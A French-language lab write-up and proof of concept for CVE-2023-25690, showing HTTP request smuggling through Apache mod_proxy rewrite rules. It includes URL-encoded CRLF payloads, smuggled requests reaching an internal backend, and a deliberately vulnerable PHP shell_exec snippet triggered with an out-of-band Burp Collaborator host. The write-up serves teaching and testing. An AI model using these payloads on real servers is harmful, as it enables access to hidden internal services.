
CVE 2023 25690 Preuve de concept - la configuration vulnérable de mod_proxy sur les versions 2.4.0 à 2.4.55 du serveur HTTP Apache conduit à une vulnérabilité de HTTP Request Smuggling.
Certaines configurations mod_proxy sur les versions 2.4.0 à 2.4.55 du serveur HTTP Apache permettent une attaque de détournement de requête HTTP. Les configurations sont affectées lorsque mod_proxy est activé avec une forme de RewriteRule ou ProxyPassMatch dans laquelle un motif non spécifique correspond à une partie des données de la cible de requête (URL) fournies par l'utilisateur, puis est réinséré dans la cible de requête proxyfiée en utilisant la substitution de variable. Par exemple, quelque chose comme :
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
La division/détournement de requêtes peut entraîner le contournement des contrôles d'accès dans le serveur proxy, le proxy de URLs non intentionnelles vers des serveurs d'origine existants, et l'empoisonnement du cache. Il est recommandé aux utilisateurs de mettre à jour au moins la version 2.4.56 du serveur HTTP Apache.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
L'inclusion de RewriteEngine on dans la configuration Apache active le moteur de réécriture d'URL. La réécriture d'URL est une technique qui permet aux serveurs web de modifier dynamiquement les URLs demandées par le navigateur d'un client vers une URL différente avant de servir le contenu.
Par exemple, supposons que nous ayons la structure d'URL suivante pour une boutique en ligne :
https://example-shop.com/categories/1
En supposant la directive RewriteRule suivante dans un fichier de configuration Apache :
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Lorsqu'un utilisateur demande l'URL https://example-shop.com/categories/1, la RewriteRule correspond à l'URL et capture la valeur 1 en utilisant l'expression régulière ^/categories/(.*). La règle réécrit ensuite l'URL en http://example-shop.com:8080/categories?id=1 en ajoutant la valeur capturée à l'URL réécrite en tant que paramètre de requête id.
Étant donné que le drapeau [P] existe dans la règle, Apache traitera l'URL réécrite comme une requête proxy et la transmettra au serveur cible à http://example-shop.com:8080/categories avec le paramètre de requête id défini sur 1. Le serveur cible traitera ensuite la demande et renverra la réponse à Apache, qui la transmettra au client.
En résumé, la directive RewriteRule avec le drapeau [P] est utilisée pour réécrire les URLs et les proxy vers un autre serveur. Dans ce cas, la règle correspond aux URLs commençant par /categories/ et ajoute la valeur capturée en tant que paramètre de requête id à l'URL réécrite. Apache transmet ensuite la demande au serveur cible, qui traite la demande et renvoie la réponse.
Enfin, concernant ProxyPassReverse /categories/ http://example-shop.com:8080/, cette ligne remplace simplement le domaine et le chemin du serveur backend par ceux du serveur proxy, de sorte que le client puisse correctement suivre les liens et accéder au contenu du serveur backend proxyfié comme s'il était servi directement par le serveur proxy.

Pour simuler la vulnérabilité dans Apache, nous utiliserons la version httpd 2.4.55. De plus, l'ensemble du laboratoire sera dockerisé pour une meilleure facilité de configuration et de reproductibilité.
La structure des fichiers du laboratoire sera la suivante :
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
La configuration finale de httpd.conf est structurée comme ci-dessous :
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Utilisez la commande docker-compose.exe up --build pour démarrer le laboratoire.
Dans cette section, j'expliquerai comment une injection CRLF peut conduire à un détournement de requête HTTP interne, permettant à un attaquant d'obtenir un accès non autorisé à des ressources internes autrement inaccessibles.
Selon la description de l'avis, httpd <=2.4.55 est vulnérable à la division de réponse HTTP également connue sous le nom d'injection CRLF.
L'injection CRLF se produit lorsque :
ce qui dans notre cas peut être confirmé en passant le préfixe CRLF suivant dans l'URL :
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
En ajoutant le préfixe ci-dessus à l'URL, la requête finale résultante sera la suivante :
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Après la requête, le serveur traitera les données et renverra un code de réponse 200 indiquant la vulnérabilité à l'injection CRLF.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Plus d'informations concernant la division de requête HTTP peuvent être trouvées ici, https://owasp.org/www-community/attacks/HTTP_Response_Splitting
En utilisant l'injection d'en-tête, nous allons effectuer le détournement de requête HTTP interne.
Commençons par le préfixe suivant :
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
et la requête suivante
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
En appliquant la règle de réécriture, la requête subit une transformation dans le format suivant :
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
où l'URL encodée est décodée en syntaxe HTTP valide, ce qui amène le backend à traiter les données décodées comme une deuxième requête.
Supposons que notre application interne ait le code secret suivant :
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
avec le préfixe suivant, nous sommes capables d'envoyer la deuxième requête à une fonctionnalité cachée :
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
et récupérer la requête sur Burp Collaborator :

Correctifs :
L'impact de cette vulnérabilité est qu'elle permet aux attaquants de cibler et d'accéder à des applications internes qui sont censées être cachées par le proxy inverse, pouvant entraîner un accès non autorisé, une fuite de données ou une exploitation supplémentaire.